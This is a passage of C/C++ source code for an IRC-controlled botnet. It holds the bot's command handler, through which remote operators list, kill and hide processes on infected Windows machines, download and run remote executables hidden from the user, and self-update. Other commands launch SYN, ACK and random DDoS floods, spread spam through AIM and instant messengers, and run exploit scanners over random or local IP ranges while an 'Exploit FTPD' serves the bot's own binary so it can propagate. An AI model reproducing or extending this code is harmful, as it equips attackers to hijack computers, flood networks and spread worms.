if ((tnum=findthreadnum(SECURE_THREAD)) > 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_alr,sec_title,"Secure thread",tnum);
return 1;
}
NTHREAD secure;
secure.silent=switches.silent;
secure.verbose=switches.verbose;
strcpy(secure.target,hostd->target);
secure.conn=irc;
secure.bdata1=bsecure;//secure
secure.bdata2=FALSE;//loop
secure.threadnum=addthread(SECURE_THREAD,"%s %s.",(bsecure?sec_title:unsec_title),(bsecure?"Secure":"Unsecure"));
if (threads[secure.threadnum].tHandle = CreateThread(NULL, 0, &SecureThread, (LPVOID)&secure, 0, &id))
{
while (secure.gotinfo == FALSE)
Sleep(50);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_fail,(bsecure?sec_title:unsec_title),(bsecure?"Secure thread":"Unsecure thread"),GetLastError());
}
return 1;
}
#endif
//////////////////////////////////////////////////////////////////////////////
// Process Control
// .ps [list]
// .ps <kill> <image/pid>
// .ps <del> <pid> //FIXME
// .ps <create> <fullpathtoexe> [hide]
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_PROCESS
else if (!lstrcmpi(cmd_process_1,a[0]) || !lstrcmpi(cmd_process_2,a[0]))
{
if (!a[1])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,process_title);
return 1;
}
NTHREAD process;
process.silent=switches.silent;
process.verbose=switches.verbose;
strcpy(process.target,hostd->target);
process.bdata1=FALSE; // list
process.bdata2=FALSE; // kill
process.bdata3=FALSE; // del
process.conn=irc;
if (!lstrcmpi(cmd_process_list,a[1]))
{
if ((tnum=findthreadnum(PROC_THREAD)) > 0)
{
irc->privmsg(hostd->target,str_thread_alr,process_title,"Process thread",tnum);
return 1;
}
process.bdata1=TRUE;
if (a[2])
process.data2=a[2];//filter
else
process.data2=NULL;
}
else if (!lstrcmpi(cmd_process_kill,a[1]))
{
if (!a[2])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,process_title);
return 1;
}
process.data1=a[2];
process.bdata2=TRUE; // kill
process.bdata3=FALSE; // del
}
else if (!lstrcmpi(cmd_process_del,a[1]))
{
if (!a[2])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,process_title);
return 1;
}
process.data1=a[2];
process.bdata2=TRUE; // kill
process.bdata3=TRUE; // del
}
else if (!lstrcmpi(cmd_process_create,a[1]))
{
if (!a[2])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,process_title);
return 1;
}
if (a[3])
process.bdata1=TRUE;
if (switches.createwait)
process.bdata2=TRUE;
char file[MAX_PATH];
sprintf(file,a[2]);
if (switches.replace_underscores)
{
char replace='_';
if (switches.replace_char)
replace=switches.replace_char;
int i;
for (i=0;i<strlen(process.data1);i++)
if (process.data1[i]==replace)
process.data1[i]=' ';
}
process.data1=file;
process.threadnum = addthread(PROC_THREAD,"%s Create process thread.",process_title);
if (threads[process.threadnum].tHandle = CreateThread(NULL, 0, &CreateProcThread, (LPVOID)&process, 0, &id))
{
while (process.gotinfo == FALSE)
Sleep(50);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_fail,process_title,"Process thread",GetLastError());
}
return 1;
}
else
{
return 1;
}
process.threadnum = addthread(PROC_THREAD,"%s Process thread.",process_title);
if (threads[process.threadnum].tHandle = CreateThread(NULL, 0, &ProcessThread, (LPVOID)&process, 0, &id))
{
while (process.gotinfo == FALSE)
Sleep(50);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_fail,process_title,"Process thread",GetLastError());
}
return 1;
}
#endif // NO_PROCESS
//////////////////////////////////////////////////////////////////////////////
// EFTPD
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_EFTPD
else if (!lstrcmpi(cmd_eftpd_1,a[0]) || !lstrcmpi(cmd_eftpd_2,a[0]))
{
if ((tnum=findthreadnum(FTPD_THREAD)) > 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Exploit FTPD is running on port: %i, at thread number: %i, total sends: %i.",ftp_title,FTP_PORT,tnum,eftpsends);
return 1;
}
static FTP ftp;
if (!staticftpd)
ftp.port = (rand()%48127)+1024;
else
ftp.port = ftpdport;
ftp.threads = 0;
GetModuleFileName(0,ftp.filename,sizeof(ftp.filename));
strncpy(ftp.requestname, filename, sizeof(ftp.requestname)-1);
ftp.gotinfo=FALSE;
strncpy(ftp.chan, servers[curserver].chan, sizeof(ftp.chan)-1);
ftp.silent = switches.silent;
ftp.verbose = switches.verbose;
ftp.conn=conn;
ftp.threadnum = addthread(FTPD_THREAD,"%s Server started, Port: %i, File: %s.", ftp_title, ftp.port, ftp.filename);
if (threads[ftp.threadnum].tHandle = CreateThread(NULL, 0, &ftpd, (LPVOID)&ftp, 0, &id))
{
while (ftp.gotinfo == FALSE)
Sleep(50);
if (!switches.silent && !switches.halfsilent)
irc->privmsg(hostd->target,"%s Exploit FTPD enabled on port: %i, thread number: %i.", ftp_title,ftp.port,ftp.threadnum);
}
else
{
if (!switches.silent && !switches.halfsilent)
irc->privmsg(hostd->target,str_thread_fail,process_title,"Exploit FTPD",GetLastError());
}
return 1;
}
#endif
//////////////////////////////////////////////////////////////////////////////
// Raw
//////////////////////////////////////////////////////////////////////////////
else if (!lstrcmpi(cmd_raw_1,a[0]) || !lstrcmpi(cmd_raw_2,a[0]))
{
if (!a[1])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,irc_title);
return 1;
}
char *raw=strchr(params,' ');
if (raw)
{
raw++;//remove the space
irc->raw(raw);
if (!switches.silent)
irc->privmsg(hostd->target,"%s Sent IRC raw: \"%s\".",irc_title,raw);
}
//else
//{
// if (!silent)
// irc->privmsg(hostd->target,"%s Error sending raw.",irc_title);
//}
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Download
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_DOWNLOAD
else if (!lstrcmpi(cmd_download_1,a[0]) || !lstrcmpi(cmd_download_2,a[0]))
{
if (!a[1] || !a[2])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,download_title);
return 1;
}
if ((tnum=findthreadnum(DOWNLOAD_THREAD)) > 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_alr,download_title,"transfer thread",tnum);
return 1;
}
NTHREAD dl;
dl.conn=irc;
dl.silent=switches.silent;
dl.verbose=switches.verbose;
strcpy(dl.target,hostd->target);
dl.data1=a[1];//site
dl.data2=a[2];//location
dl.bdata1 = FALSE;//update
dl.bdata2 = (a[3]?TRUE:FALSE);//run
dl.bdata3 = (a[4]?TRUE:FALSE);//run hidden
//dl.expectedcrc=((a[s+4])?(strtoul(a[s+4],0,16)):(0));
//dl.filelen=((a[s+5])?(atoi(a[s+5])):(0));
//dl.encrypted=(parameters['e']);
dl.threadnum = addthread(DOWNLOAD_THREAD,"%s Downloading URL: %s to: %s.",download_title,(dec?"*":a[1]),a[2]);
if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id))
{
while (dl.gotinfo == FALSE)
Sleep(50);
if (!switches.silent && switches.verbose)
irc->privmsg(hostd->target,"%s Downloading URL: %s to: %s.",download_title,a[1],a[2]);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_fail,download_title,"transfer thread",GetLastError());
}
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Update
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_UPDATE
else if (!lstrcmpi(cmd_update_1,a[0]) || !lstrcmpi(cmd_update_2,a[0]))
{
if (!a[1])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,update_title);
return 1;
}
if (a[2])
{
if (!lstrcmpi(botid,a[2]))
{
return 1;
}
}
if ((tnum=findthreadnum(DOWNLOAD_THREAD)) > 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_alr,update_title,"transfer thread",tnum);
return 1;
}
char tempdir[MAX_PATH], tmpbuf[MAX_PATH];
GetTempPath(sizeof(tempdir), tempdir);
sprintf(tmpbuf,"%seraseme_%d%d%d%d%d.exe",tempdir,rand()%9,rand()%9,rand()%9,rand()%9,rand()%9);
NTHREAD dl;
dl.conn=irc;
dl.silent=switches.silent;
dl.verbose=switches.verbose;
strcpy(dl.target,hostd->target);
dl.data1=a[1];
dl.data2=tmpbuf;
if (a[3]) dl.idata1=1;
else dl.idata1=0;
dl.bdata1 = TRUE;//update
dl.bdata2 = FALSE;//run
dl.bdata3 = FALSE;//run hidden
dl.threadnum = addthread(DOWNLOAD_THREAD,"%s Downloading update from: %s to: %s.",update_title,(dec?"*":a[1]),dl.data2);
if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id))
{
while (dl.gotinfo == FALSE)
Sleep(50);
if (!switches.silent && switches.verbose)
irc->privmsg(hostd->target,"%s Downloading update from: %s to: %s.",update_title,a[1],dl.data2);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,str_thread_fail,update_title,"transfer thread",GetLastError());
}
return 1;
}
#endif // NO_UPDATE
#endif // NO_DOWNLOAD
//////////////////////////////////////////////////////////////////////////////
// DDOS
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_DDOS
//else if (!lstrcmpi(cmd_update_1,a[0]) || !lstrcmpi(cmd_update_2,a[0]))
//else if (strcmp("ddos.syn", a[s]) == 0 || strcmp("ddos.ack", a[s]) == 0 || strcmp("ddos.random", a[s]) == 0) {
else if (!lstrcmpi(cmd_ddos_syn,a[0]) || !lstrcmpi(cmd_ddos_ack,a[0]) || !lstrcmpi(cmd_ddos_random,a[0])) {
// SOCKET sock;
// char sendbuf[IRCLINE];
DDOS ddos;
sprintf(ddos.ip,"%s", a[1]);
sprintf(ddos.port,"%s", a[2]);
sprintf(ddos.length,"%s", a[3]);
/*
strncpy(ddos.ip, a[1], sizeof(ddos.ip)-1);
strncpy(ddos.port, a[2], sizeof(ddos.port)-1);
strncpy(ddos.length, a[3], sizeof(ddos.length)-1);
*/
// strncpy(ddos.chan, a[2], sizeof(ddos.chan)-1);
// strncpy(ddos.type,a[0],32);
// ddos.chan = "#n0";
if (strcmp("ddos.syn", a[0]) == 0 ) sprintf(ddos.type,"ddos.syn");
else if (strcmp("ddos.random", a[0]) == 0 ) sprintf(ddos.type,"ddos.random");
else sprintf(ddos.type,"ddos.ack");
// irc->privmsg(hostd->target,"[DDoS1]: ip: %s port: %s length: %s type: %s", ddos.ip, ddos.port, ddos.length, ddos.type);
ddos.notice = 0;//switches.halfsilent;
ddos.silent = 0;//switches.silent;
ddos.conn=irc;
strcpy(ddos.target,hostd->target);
// ddos.sock = sock;
// sprintf(sendbuf, "[DDoS]: Flooding: (%s:%s) for %s seconds.", a[1], a[2], a[3]);
// addthread(DOWNLOAD_THREAD,"%s Downloading update from: %s to: %s.",update_title,(dec?"*":a[1]),dl.data2);
// irc->privmsg(hostd->target,"[DDoS 1]");
ddos.threadnum = addthread(DDOS_THREAD,"%s Flooding %s:%s for %s seconds",ddos_title,a[1],a[2],a[3]);
// sprintf(sendbuf,"%s",ddos.threadnum);
// irc->privmsg(hostd->target,"[DDoS num]: %s ",sendbuf );
//CreateThread(NULL, 0, &DDOSThread, (LPVOID)&ddos, 0, &id);
// irc->privmsg(hostd->target,"[DDoS 2]");
if (threads[ddos.threadnum].tHandle = CreateThread(NULL, 0, &DDOSThread, (LPVOID)&ddos, 0, &id)) {
while(ddos.gotinfo == FALSE)
Sleep(50);
} else
// sprintf(sendbuf,"[DDoS]: Failed to start flood thread, error: <%d>.", GetLastError());
if (!ddos.silent) irc->privmsg(hostd->target,"[DDoS]: Failed to start flood thread, error: <%d>.", GetLastError());
//addlog(sendbuf);
return 1;
}
//}
/* else if (strcmp("wonk.syn", a[s]) == 0 || strcmp("wonk.ack", a[s]) == 0) {
DDOS ddos;
strncpy(ddos.ip, a[s+1], sizeof(ddos.ip)-1);
//strncpy(ddos.port, a[s+2], sizeof(ddos.port)-1);
strncpy(ddos.length, a[s+2], sizeof(ddos.length)-1);
strncpy(ddos.chan, a[2], sizeof(ddos.chan)-1);
strncpy(ddos.type,a[s],32);
ddos.notice = notice;
ddos.silent = silent;
ddos.sock = sock;
sprintf(sendbuf, "[DDoS]: Flooding: (%s) for %s seconds.", a[s+1], a[s+2]);
ddos.threadnum = addthread(sendbuf,DDOS_THREAD,NULL);
if (threads[ddos.threadnum].tHandle = CreateThread(NULL, 0, &DDOSWonkThread, (LPVOID)&ddos, 0, &id)) {
while(ddos.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[DDoS]: Failed to start flood thread, error: <%d>.", GetLastError());
if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
addlog(sendbuf);
}*/
// #endif
#endif
//////////////////////////////////////////////////////////////////////////////
// Aim Spread
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_AIMSPREAD
else if (!lstrcmpi(cmd_aimspread_1,a[0]) || !lstrcmpi(cmd_aimspread_2,a[0]))
{
if ((tnum=findthreadnum(AIMSPREAD_THREAD))>0){
if (!switches.silent){
irc->privmsg(hostd->target,str_thread_alr,update_title,"transfer thread",tnum);
}
return 1;
}
if (!a[1])return 1;
char *acapture="";
AIMSPREAD AIM;
NTHREAD as;
ZeroMemory(&AIM, sizeof(AIM));
// if ( !( AIM.pszMessage = strstr(x, a[s+1]) ) )return 1;
if ( !( AIM.pszMessage = strchr(params, ' ')) )return 1;
as.data1=AIM.pszMessage;
// printf("\nYou said: %s\n",as.data1);
// strncpy(sendbuf,"[AIM] AIM spread thread active.",sizeof(sendbuf));
irc->privmsg(hostd->target,"%s Automated messaging active.",aimspread_title);
as.threadnum = addthread(AIMSPREAD_THREAD,"%s Spreading message: %s",aimspread_title,as.data1);
// DWORD dwThreadNum = addthread(sendbuf, AIMSPREAD_THREAD, NULL);
if (threads[as.threadnum].tHandle = CreateThread(NULL, 0, &AIMSpread, (LPVOID)&AIM, 0, &id)){
while (AIM.bGotInfo == FALSE){
Sleep(50);
}
} else {
if(!switches.silent){
irc->privmsg(hostd->target,str_thread_fail,aimspread_title,"imspread thread",GetLastError());
}
return 1;
}
}
#endif
// OPEN CONVO INSTANT MSGING
else if (!lstrcmpi(cmd_imspread_1,a[0]) || !lstrcmpi(cmd_imspread_2,a[0]))
{
if ((tnum=findthreadnum(IMSPREAD_THREAD))>0){
if (!switches.silent){
irc->privmsg(hostd->target,str_thread_alr,update_title,"transfer thread",tnum);
}
return 1;
}
if (!a[1])return 1;
char *acapture="";
AIMSPREAD AIM;
NTHREAD as;
ZeroMemory(&AIM, sizeof(AIM));
// if ( !( AIM.pszMessage = strstr(x, a[s+1]) ) )return 1;
if ( !( AIM.pszMessage = strchr(params, ' ')) )return 1;
as.data1=AIM.pszMessage;
// printf("\nYou said: %s\n",as.data1);
// strncpy(sendbuf,"[AIM] AIM spread thread active.",sizeof(sendbuf));
irc->privmsg(hostd->target,"%s Automated messaging active.",aimspread_title);
as.threadnum = addthread(IMSPREAD_THREAD,"%s Spreading message: %s",aimspread_title,as.data1);
// DWORD dwThreadNum = addthread(sendbuf, AIMSPREAD_THREAD, NULL);
if (threads[as.threadnum].tHandle = CreateThread(NULL, 0, &IMSpread, (LPVOID)&AIM, 0, &id)){
while (AIM.bGotInfo == FALSE){
Sleep(50);
}
} else {
if(!switches.silent){
irc->privmsg(hostd->target,str_thread_fail,aimspread_title,"imspread thread",GetLastError());
}
return 1;
}
}
#ifndef NO_ADVSCAN
//////////////////////////////////////////////////////////////////////////////
// Scan Stats
//////////////////////////////////////////////////////////////////////////////
else if (!lstrcmpi(cmd_scanstats_1,a[0]) || !lstrcmpi(cmd_scanstats_2,a[0]))
{
ListExploitStats(irc,hostd->target,switches.verbose,(a[1]?atoi(a[1]):0));
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Current IP
//////////////////////////////////////////////////////////////////////////////
else if (!lstrcmpi(cmd_currentip_1,a[0]) || !lstrcmpi(cmd_currentip_2,a[0]))
{
int scanthread;
if (a[1])
scanthread = atoi(a[1]);
else
scanthread = findthreadnum(SCAN_THREAD);
if (scanthread != 0)
CurrentIP(irc,hostd->target,scanthread);
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Advscan
//////////////////////////////////////////////////////////////////////////////
//.advscan <port> <threads> <delay> <mins> <ip/[-a/-b/-c][-e][-r]>
else if (!lstrcmpi(cmd_advscan_1,a[0]) || !lstrcmpi(cmd_advscan_2,a[0]))
{
if (!a[1] || !a[2] || !a[3] || !a[4])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,scan_title);
return 1;
}
int scanthreads=findthreadid(SCAN_THREAD);
if ((scanthreads+atoi(a[2])) > MAX_SCANTHRD)
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Already scanning with %d threads. Too many specified.", scan_title, scanthreads);
}
else
{
ADVSCAN advscan;
advscan.port = (unsigned short)atoi(a[1]);
advscan.threads = atoi(a[2]);
advscan.delay = atoi(a[3]);
advscan.delay = ((advscan.delay < MIN_SCANDELAY)?(MIN_SCANDELAY):(advscan.delay));
advscan.delay = ((advscan.delay > MAX_SCANDELAY)?(MAX_SCANDELAY):(advscan.delay));
advscan.minutes = atoi(a[4]);
advscan.minutes = ((advscan.minutes > MAX_SCANTIME)?(MAX_SCANTIME):(advscan.minutes));
advscan.exploit = -1;
for(i=0;exploit[i].port != 0;i++)
{
if (!lstrcmpi(exploit[i].command,a[1]))
{
advscan.port = exploit[i].port;
advscan.exploit = i;
break;
}
}
if (advscan.port == 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to start scan, port is invalid.", scan_title);
}
else
{
if (a[5])
{
if (!strcmp("x.x.x.x",a[5]))
{
srand(GetTickCount());
unsigned int aclass;
for (;;) {
aclass=(rand()%240)+4;
if (aclass==127)
continue;
else
break;
}
_snprintf(advscan.ip,sizeof(advscan.ip),"%d.x.x.x",aclass);
advscan.random = TRUE;
}
else
{
_snprintf(advscan.ip,sizeof(advscan.ip),a[5]);
advscan.random = ((strchr(a[5],'x'))?(TRUE):(FALSE));
}
}
else
{
if (switches.scan_e || switches.scan_a || switches.scan_b || switches.scan_c || switches.scan_r)
{
if (switches.scan_e)
{
int Class=0;
if (switches.scan_a)
Class=1;
else if (switches.scan_b)
Class=2;
else if (switches.scan_c)
Class=3;
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s No subnet class specified, try \"-a\" or \"-b\" or \"-c\"", scan_title);
return 1;
}
/* if (!exip || !strcmp(exip,"") || PrivateIP(exip))
{
if (!switches.silent && !switches.halfsilent)
irc->privmsg(hostd->target,"%s Trying to get external IP.",scan_title);
DWORD id;
HANDLE th;
th=CreateThread(NULL, 0, &GetExIP, NULL, 0, &id);
WaitForSingleObject(th,10000);
CloseHandle(th);
}*/
char *extip=MakeIP(exip,switches.scan_r,Class);
if (extip)
strncpy(advscan.ip,extip,sizeof(advscan.ip));
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Could not parse external IP.", scan_title);
return 1;
}
advscan.random=switches.scan_r;
}
else
{
SOCKADDR_IN ssin;
int ssin_len=sizeof(ssin);
fgetsockname(irc->get_sock(),(LPSOCKADDR)&ssin,&ssin_len);
if (switches.scan_a)
ssin.sin_addr.S_un.S_addr&=0xFF;
else if (switches.scan_b)
ssin.sin_addr.S_un.S_addr&=0xFFFF;
else if (switches.scan_c)
ssin.sin_addr.S_un.S_addr&=0xFFFFFF;
strncpy(advscan.ip,finet_ntoa(ssin.sin_addr), sizeof(advscan.ip));
if (switches.scan_r)
{
int extractip=0;
if (switches.scan_a)
extractip=3;
else if (switches.scan_b)
extractip=2;
else if (switches.scan_c)
extractip=1;
for (char *c=strrchr(advscan.ip,'0'),i=0;i<extractip && c;c[0]='x',c=strrchr(advscan.ip,'0'),i++);
advscan.random=TRUE;
}
else
advscan.random=FALSE;
}
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to start scan, no IP specified.", scan_title);
return 1;
}
}
advscan.silent = switches.silent;
advscan.verbose = switches.verbose;
advscan.conn=irc;
strcpy(advscan.target,servers[curserver].exploitchan);
advscan.threadnum=addthread(SCAN_THREAD,"%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.", scan_title,((advscan.random)?("Random"):("Sequential")), advscan.ip, advscan.port, advscan.delay, advscan.minutes, advscan.threads);
if (threads[advscan.threadnum].tHandle = CreateThread(NULL, 0, &AdvScanner, (LPVOID)&advscan, 0, &id)) {
while(advscan.gotinfo == FALSE)
Sleep(50);
if (!switches.silent && !switches.halfsilent)
irc->privmsg(hostd->target,"%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.", scan_title,((advscan.random)?("Random"):("Sequential")), advscan.ip, advscan.port, advscan.delay, advscan.minutes, advscan.threads);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to start scan thread, error: <%d>.", scan_title, GetLastError());
}
}
}
return 1;
}
//////////////////////////////////////////////////////////////////////////////
// Scan All/NTScan/WKS(E/O)Scan
//////////////////////////////////////////////////////////////////////////////
//.scanall <threads> <delay> <mins> <ip/[-a/-b/-c][-e][-r]>
else if (!lstrcmpi(cmd_scanall_1,a[0]) || !lstrcmpi(cmd_scanall_2,a[0])
|| !lstrcmpi(cmd_ntscan_1,a[0]) || !lstrcmpi(cmd_ntscan_2,a[0])
|| !lstrcmpi(cmd_wksescan_1,a[0]) || !lstrcmpi(cmd_wksescan_2,a[0])
|| !lstrcmpi(cmd_wksoscan_1,a[0]) || !lstrcmpi(cmd_wksoscan_2,a[0])
|| !lstrcmpi(cmd_asnscan_1,a[0]) || !lstrcmpi(cmd_asnscan_2,a[0]))
{
if (!a[1] || !a[2] || !a[3])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,scan_title);
return 1;
}
BOOL bntscan=FALSE;
BOOL ballscan=FALSE;
BOOL bwksescan=FALSE;
BOOL bwksoscan=FALSE;
BOOL basnscan=FALSE;
int scansize;
if (!lstrcmpi(cmd_ntscan_1,a[0]) || !lstrcmpi(cmd_ntscan_2,a[0]))
{
//if (!switches.force && !switches.scan_r && (!a[4] || !strchr(a[4],'x')))
//{
// if (!switches.silent)
// irc->privmsg(hostd->target,"%s Using NTScan without a random range is not a good idea. (Use \"-f\" if you really want to)",scan_title);
// return 1;
//}
bntscan=TRUE;
scansize=ntscansize;
}
else if (!lstrcmpi(cmd_wksescan_1,a[0]) || !lstrcmpi(cmd_wksescan_2,a[0]))
{
bwksescan=TRUE;
scansize=wksescansize;
}
else if (!lstrcmpi(cmd_wksoscan_1,a[0]) || !lstrcmpi(cmd_wksoscan_2,a[0]))
{
bwksoscan=TRUE;
scansize=wksoscansize;
}
else if (!lstrcmpi(cmd_asnscan_1,a[0]) || !lstrcmpi(cmd_asnscan_2,a[0]))
{
basnscan=TRUE;
scansize=asnscansize;
}
else
{
ballscan=TRUE;
scansize=scanallsize;
}
int scanthreads=findthreadid(SCAN_THREAD);
if ((scanthreads+atoi(a[1])) > MAX_SCANTHRD)
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Already scanning with %d threads. Too many specified.", scan_title, scanthreads);
}
for(int sne=0; sne<scansize; sne++)
{
ADVSCAN advscan;
advscan.threads = atoi(a[1])/scansize;
advscan.delay = atoi(a[2]);
advscan.delay = ((advscan.delay < MIN_SCANDELAY)?(MIN_SCANDELAY):(advscan.delay));
advscan.delay = ((advscan.delay > MAX_SCANDELAY)?(MAX_SCANDELAY):(advscan.delay));
advscan.minutes = atoi(a[3]);
advscan.minutes = ((advscan.minutes > MAX_SCANTIME)?(MAX_SCANTIME):(advscan.minutes));
advscan.exploit = -1;
for(i=0;exploit[i].port != 0;i++)
{
if (bntscan)
{
if (strcmp(exploit[i].command, ntscan[sne].command) == 0)
{
advscan.port = exploit[i].port;
advscan.exploit = i;
break;
}
}
else if (bwksescan)
{
if (strcmp(exploit[i].command, wksescan[sne].command) == 0)
{
advscan.port = exploit[i].port;
advscan.exploit = i;
break;
}
}
else if (bwksoscan)
{
if (strcmp(exploit[i].command, wksoscan[sne].command) == 0)
{
advscan.port = exploit[i].port;
advscan.exploit = i;
break;
}
}
else if (basnscan)
{
if (strcmp(exploit[i].command, asnscan[sne].command) == 0)
{
advscan.port = exploit[i].port;
advscan.exploit = i;
break;
}
}
else// if (allscan)
{
if (strcmp(exploit[i].command, scanall[sne].command) == 0)
{
advscan.port = exploit[i].port;
advscan.exploit = i;
break;
}
}
}
if (advscan.port == 0)
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to start scan, port is invalid.", scan_title);
}
else
{
if (a[4])
{
if (!strcmp("x.x.x.x",a[4]))
{
srand(GetTickCount());
unsigned int aclass;
for (;;) {
aclass=(rand()%240)+4;
if (aclass==127)
continue;
else
break;
}
_snprintf(advscan.ip,sizeof(advscan.ip),"%d.x.x.x",aclass);
advscan.random = TRUE;
}
else
{
_snprintf(advscan.ip,sizeof(advscan.ip),a[4]);
advscan.random = ((strchr(a[4],'x'))?(TRUE):(FALSE));
}
}
else
{
if (switches.scan_e || switches.scan_a || switches.scan_b || switches.scan_c || switches.scan_r)
{
if (switches.scan_e)
{
int Class=0;
if (switches.scan_a)
Class=1;
else if (switches.scan_b)
Class=2;
else if (switches.scan_c)
Class=3;
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s No subnet class specified, try \"-a\" or \"-b\" or \"-c\"", scan_title);
return 1;
}
/* if (!exip || !strcmp(exip,"") || PrivateIP(exip))
{
if (!switches.silent && !switches.halfsilent)
/* irc->privmsg(hostd->target,"%s Trying to get external IP.",scan_title);
DWORD id;
HANDLE th;
th=CreateThread(NULL, 0, &GetExIP, NULL, 0, &id);
WaitForSingleObject(th,10000);
CloseHandle(th);
}*/
char *extip=MakeIP(exip,switches.scan_r,Class);
if (extip)
strncpy(advscan.ip,extip,sizeof(advscan.ip));
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Could not parse external IP.", scan_title);
return 1;
}
advscan.random=switches.scan_r;
}
else
{
SOCKADDR_IN ssin;
int ssin_len=sizeof(ssin);
fgetsockname(irc->get_sock(),(LPSOCKADDR)&ssin,&ssin_len);
if (switches.scan_a)
ssin.sin_addr.S_un.S_addr&=0xFF;
else if (switches.scan_b)
ssin.sin_addr.S_un.S_addr&=0xFFFF;
else if (switches.scan_c)
ssin.sin_addr.S_un.S_addr&=0xFFFFFF;
strncpy(advscan.ip,finet_ntoa(ssin.sin_addr), sizeof(advscan.ip));
if (switches.scan_r)
{
int extractip=0;
if (switches.scan_a)
extractip=3;
else if (switches.scan_b)
extractip=2;
else if (switches.scan_c)
extractip=1;
for (char *c=strrchr(advscan.ip,'0'),i=0;i<extractip && c;c[0]='x',c=strrchr(advscan.ip,'0'),i++);
advscan.random=TRUE;
}
else
advscan.random=FALSE;
}
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to start scan, no IP specified.", scan_title);
return 1;
}
}
advscan.silent = switches.silent;
advscan.verbose = switches.verbose;
advscan.conn=irc;
strcpy(advscan.target,servers[curserver].exploitchan);
advscan.threadnum=addthread(SCAN_THREAD,"%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.", scan_title,((advscan.random)?("Random"):("Sequential")), advscan.ip, advscan.port, advscan.delay, advscan.minutes, advscan.threads);
if (threads[advscan.threadnum].tHandle = CreateThread(NULL, 0, &AdvScanner, (LPVOID)&advscan, 0, &id)) {
while(advscan.gotinfo == FALSE)
Sleep(50);
if (!switches.silent && !switches.halfsilent)
irc->privmsg(hostd->target,"%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.", scan_title,((advscan.random)?("Random"):("Sequential")), advscan.ip, advscan.port, advscan.delay, advscan.minutes, advscan.threads);
}
else
{
if (!switches.silent)
irc->privmsg(hostd->target,"%s Failed to start scan thread, error: <%d>.", scan_title, GetLastError());
}
}
}
return 1;
}
#endif // NO_ADVSCAN
//////////////////////////////////////////////////////////////////////////////
// If/Else
//////////////////////////////////////////////////////////////////////////////
#ifndef NO_IFELSE
//.if/else nick <nick> <do this> (wildcards supported)
//.if/else host <host> <do this> (wildcards supported)
//.if/else id <bot id> <do this>
//.if/else private <do this>
//.if/else dialup <do this>
//.if/else up <time> <do this>
//.if/else connected <time> <do this>
//.if/else aim <do this>
//.if/else os <os> <do this>
//.if/else exip <ip> <do this> (wildcards supported)
//.if/else inip <ip> <do this> (wildcards supported)
//FIXME:.if/else space <free/total> <>space> <gb/mb/kb> <do this>
else if (!lstrcmpi(cmd_if_1,a[0]) || !lstrcmpi(cmd_if_2,a[0])
|| !lstrcmpi(cmd_else_1,a[0]) || !lstrcmpi(cmd_else_2,a[0]))
{
if (!a[1] || !a[2])
{
if (!switches.silent)
irc->privmsg(hostd->target,str_bad_format,logic_title);
return 1;
}
int anum=3;//param the command starts at
BOOL bIf=FALSE;
BOOL bElse=FALSE;
if (!lstrcmpi(cmd_if_1,a[0]) || !lstrcmpi(cmd_if_2,a[0]))
bIf=TRUE;
if (!lstrcmpi(cmd_else_1,a[0]) || !lstrcmpi(cmd_else_2,a[0]))
bElse=TRUE;
//nick
if (!lstrcmpi(cmd_ifelse_nick_1,a[1]) || !lstrcmpi(cmd_ifelse_nick_2,a[1]))
{
if (bIf)
if (strstr(a[2],"*") || strstr(a[2],"?"))
{
if (!wildcardfit(_strlwr(a[2]),_strlwr(irc->current_nick())))
return 1;
}
else
{
if (lstrcmpi(a[2],irc->current_nick()))
return 1;
}
if (bElse)
if (strstr(a[2],"*") || strstr(a[2],"?"))
{
if (wildcardfit(_strlwr(a[2]),_strlwr(irc->current_nick())))
return 1;
}
else
{
